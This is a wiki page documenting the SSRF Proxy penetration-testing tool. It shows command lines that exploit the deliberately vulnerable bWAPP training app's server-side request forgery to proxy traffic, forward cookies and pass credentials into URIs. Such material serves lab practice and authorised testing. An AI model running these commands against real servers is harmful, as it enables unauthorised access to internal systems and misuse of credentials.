Skip to content

Example Usage

Jump to bottom
Brendan Coles edited this page Oct 31, 2015 · 18 revisions

The following examples make use of bWAPP bee-box as an example application vulnerable to SSRF.

Configuration

bWAPP is deliberately vulnerable to SSRF. The following will cause the bWAPP application to request http://example.local/ via SSRF:

curl "http://bwapp.local/bWAPP/rlfi.php?ip=&language=http://example.local/" --cookie "PHPSESSID=<valid cookie>; security_level=0"

To use this SSRF with SSRF Proxy the URL and cookie must be supplied. The 'xxURLxx' placeholder must also be specified. For example:

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx" --cookie "PHPSESSID=<valid cookie>; security_level=0"

The xxURLxx placeholder exists within the query string. As such, all requested URLs must be URL encoded. This can be achieved by specifying the urlencode rule with --rules.

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx" --cookie "PHPSESSID=<valid cookie>; security_level=0" --rules urlencode

Additionally, the verbose -v and debug -d options may be useful while configuring SSRF Proxy.

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx" --cookie "PHPSESSID=<valid cookie>; security_level=0" --rules urlencode -v -d

This configuration is sufficient to use the SSRF as a proxy, however making use of SSRF Proxy's request and response modification options generally yields more reliable results.

Response Modification

Most importantly, the relevant response can be extracted by specifying a regex to match with the --match option:

ssrf-proxy -u "http://bwapp.local/bWAPP/rlfi.php?ip=&language=xxURLxx" --cookie "PHPSESSID=<valid cookie>; security_level=0" --rules urlencode --match "</form>\s*<br />\s*(.+)\s*</div>\s*<div id=\"side\">"

The --strip=HEADERS option removes the specified HTTP headers from the response. This can be useful to remove headers which hinder web browsing through the proxy (such as content-disposition), prevent set-cookie from setting new cookies, or remove inappropriate transfer-encoding headers).

The --guess-status option attempts to guess the HTTP response status code.

The --guess-mime option attempts to guess the response content type and set the appropriate Content-Type header. The content type is determined by the file extension of the request URI.

Request Modification

Several options exist to modify client HTTP requests.

The --forward-cookies option can be used when the SSRF allows forwarding cookies. This option merges all cookies from the client request with the cookie specified in --cookie (if any).

The --post-to-uri option moves the HTTP request body to the query string. This can be useful when the client requests are directed at a third-party application which allows parameters in either the query string or the request body. In this way it is possible to communicate with the target application.

The --auth-to-uri option checks for HTTP Basic credentials in the Authorization client request header and adds them to the request. This can be useful when the SSRF allows sending credentials in the URI, such as http://[user:pass]@host/.

Clone this wiki locally